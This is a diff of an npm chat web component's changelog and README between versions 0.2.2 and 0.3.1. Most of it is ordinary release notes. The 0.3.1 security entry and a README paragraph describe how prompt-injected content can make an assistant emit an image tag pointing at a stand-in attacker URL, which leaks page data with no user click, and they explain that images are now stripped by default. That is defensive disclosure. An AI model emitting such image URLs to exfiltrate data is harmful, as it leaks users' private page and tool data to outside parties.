@artooi/ag-ui-web-component 0.2.2 → 0.3.1

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
package/CHANGELOG.md CHANGED
@@ -7,6 +7,60 @@ and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0
7
7
 
8
8
  ## [Unreleased]
9
9
 
10
+ ## [0.3.1] — 2026-06-10
11
+
12
+ ### Security
13
+
14
+ - **`<img>` is stripped from rendered assistant markdown by default.** A
15
+ model-controlled `<img src="https://attacker/?d=...">` is fetched by the
16
+ browser with no user interaction, which made the sanitizer allowlist a
17
+ zero-click exfiltration channel for prompt-injected page data (page maps,
18
+ state hooks, tool results). Hosts that trust their content can opt back in
19
+ via the new `allowImages` element property (or `renderMarkdown(text,
20
+ { allowImages: true })`); when enabled, DOMPurify still strips event
21
+ handlers and `javascript:` URLs as before.
22
+
23
+ ### Fixed
24
+
25
+ - **Rotated headers now reach the agent stream.** `HttpAgent` is built once
26
+ per conversation with the headers baked into its constructor, so a rotated
27
+ token (CSRF, short-lived JWT) never reached the agent endpoint and long
28
+ sessions 401'd mid-conversation — even though the skills/tools catalog
29
+ fetches already re-read `headers` per request. The element now passes a
30
+ live `getHeaders` callback to the agent factory and `createHttpAgent`'s
31
+ fetch wrapper overlays the fresh values on every request. Custom
32
+ `agentFactory` implementations can read the new optional
33
+ `HttpAgentOptions.getHeaders` to do the same.
34
+ - **Removed the phantom `./style.css` export.** `package.json` advertised
35
+ `@artooi/ag-ui-web-component/style.css` → `dist/ag-ui-web-component.bundle.css`,
36
+ but the build emits no CSS file (styles live as JS strings and are injected
37
+ into the Shadow DOM), so importing the advertised path always failed.
38
+ - **The shared `marked` singleton is no longer mutated.** Module-scope
39
+ `marked.setOptions({ gfm, breaks })` clobbered a host app's `marked`
40
+ configuration whenever the dependency was deduped. Rendering now uses a
41
+ local `Marked` instance; the global keeps its defaults.
42
+
43
+ ### Added
44
+
45
+ - **Auto-prettified tool-card labels.** When no label is found anywhere in
46
+ the chain (`x-summary` → `toolSummaries` → fetched `data-tools-url`
47
+ catalog), cards now fall back to a prettified name (`list_projects` →
48
+ "List projects") instead of the raw identifier. Exported as
49
+ `prettifyToolName`.
50
+
51
+ ## [0.3.0] — 2026-06-03
52
+
53
+ ### Added
54
+ - **`data-tools-url` — server tool-label catalog.** On connect the element
55
+ fetches a JSON catalog (`[{ name, summary, description? }]`) from the URL
56
+ (with `headers`) and uses it to label tool-call cards for **server-side tools**
57
+ whose schema never reaches the browser. Pairs with django-ag-ui's `tools/`
58
+ endpoint, so a tool's label flows from its server-side source (drf-mcp
59
+ `display_name`, `@tool(summary=…)`) with no per-tool client duplication.
60
+ Per-card label precedence: the tool's own `x-summary` → an explicit
61
+ `toolSummaries` entry → the fetched catalog → the raw name. Exports the
62
+ `ToolCatalogEntry` type and the `parseToolCatalog` helper.
63
+
10
64
  ## [0.2.2] — 2026-06-02
11
65
 
12
66
  ### Added
@@ -159,7 +213,9 @@ and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0
159
213
  ### Notes
160
214
  - First release — exercising the automated npm OIDC publish pipeline end-to-end.
161
215
 
162
- [Unreleased]: https://github.com/Artui/ag-ui-web-component/compare/v0.2.2...HEAD
216
+ [Unreleased]: https://github.com/Artui/ag-ui-web-component/compare/v0.3.1...HEAD
217
+ [0.3.1]: https://github.com/Artui/ag-ui-web-component/compare/v0.3.0...v0.3.1
218
+ [0.3.0]: https://github.com/Artui/ag-ui-web-component/compare/v0.2.2...v0.3.0
163
219
  [0.2.2]: https://github.com/Artui/ag-ui-web-component/compare/v0.2.1...v0.2.2
164
220
  [0.2.1]: https://github.com/Artui/ag-ui-web-component/compare/v0.2.0...v0.2.1
165
221
  [0.2.0]: https://github.com/Artui/ag-ui-web-component/compare/v0.1.1...v0.2.0
package/README.md CHANGED
@@ -68,7 +68,6 @@ The package ships two builds (see [`package.json` exports](package.json)):
68
68
  | --- | --- | --- |
69
69
  | `@artooi/ag-ui-web-component` | ESM library build; `@ag-ui/*` stay **external** | You bundle the app yourself (Vite, webpack, esbuild) and want to dedupe `@ag-ui/*`. |
70
70
  | `@artooi/ag-ui-web-component/bundle` | ESM bundle with `@ag-ui/*` **inlined**, minified | Drop in via a single `<script type="module">` with no build step. |
71
- | `@artooi/ag-ui-web-component/style.css` | Extracted CSS sidecar | Rarely needed — styles are injected into the Shadow DOM at runtime. |
72
71
 
73
72
  ### The vendored-bundle story
74
73
 
@@ -151,21 +150,30 @@ That's the whole integration: an `endpoint` attribute pointing at your AG-UI ser
151
150
  | `data-slash-commands` | — | `"true"` to enable the `/`-command palette. |
152
151
  | `data-skills` | — | Inline JSON skill catalog. |
153
152
  | `data-skills-url` | — | URL of a JSON skill catalog (fetched with `headers`). |
153
+ | `data-tools-url` | — | URL of a server tool-label catalog (`[{ name, summary, description? }]`), fetched with `headers`; labels tool-call cards for server-side tools. |
154
154
  | `collapsed` | `collapsed` | Reflected boolean; collapses the widget. Persisted per-tab in `sessionStorage`. |
155
155
  | `theme` | — | CSS-only: `light` (default) / `dark` / `auto` / `code`. |
156
156
  | `density` | — | CSS-only: `comfortable` (default) / `compact`. |
157
157
  | `placement` | — | CSS-only: `floating` (default) / `bottom-left` / `side` / `full` / `embedded`. |
158
158
 
159
- **Properties** (JS only, not attributes): `headers`, `autoConfirm`, `confirmPredicate`,
160
- `agentFactory`, `getTools`, `getContext`, `routeMap`, `navigate`, `getPageMap`,
161
- `autoInjectPageMap`, `conversationStore`, `navigationResult`, `skillContext`, `toolSummaries`,
162
- plus the mirrors `endpoint` / `toolDisplay` / `collapsed`.
159
+ **Properties** (JS only, not attributes): `headers`, `allowImages`, `autoConfirm`,
160
+ `confirmPredicate`, `agentFactory`, `getTools`, `getContext`, `routeMap`, `navigate`,
161
+ `getPageMap`, `autoInjectPageMap`, `conversationStore`, `navigationResult`, `skillContext`,
162
+ `toolSummaries`, plus the mirrors `endpoint` / `toolDisplay` / `collapsed`.
163
+
164
+ `allowImages` (default `false`) re-enables `<img>` in rendered assistant markdown.
165
+ It is off by default because a model-controlled image URL is fetched by the browser
166
+ with no user interaction — a zero-click exfiltration channel for prompt-injected
167
+ page data. Enable only when the content source is trusted.
163
168
 
164
169
  `toolSummaries` is a `Record<string, string>` mapping tool name → a friendly card
165
170
  label, used when a tool has no `x-summary` in its own schema. Built-in and client tools
166
171
  should carry `x-summary` directly; this map is the seam for **server-side tools** (drf-mcp,
167
172
  the django-ag-ui `@tool` registry), whose schema never reaches the browser — e.g.
168
- `chat.toolSummaries = { list_projects: "Search projects" }`.
173
+ `chat.toolSummaries = { list_projects: "Search projects" }`. Or point
174
+ `data-tools-url` at a server catalog endpoint (django-ag-ui's `tools/`) and the
175
+ labels are fetched automatically — per card, `x-summary` → an explicit
176
+ `toolSummaries` entry → the fetched catalog → the raw name.
169
177
 
170
178
  **Methods**: `registerTool`, `registerStateHook`, `setSkills`, `appendMessage`, `newChat`,
171
179
  `setCollapsed`, `toggleCollapsed`.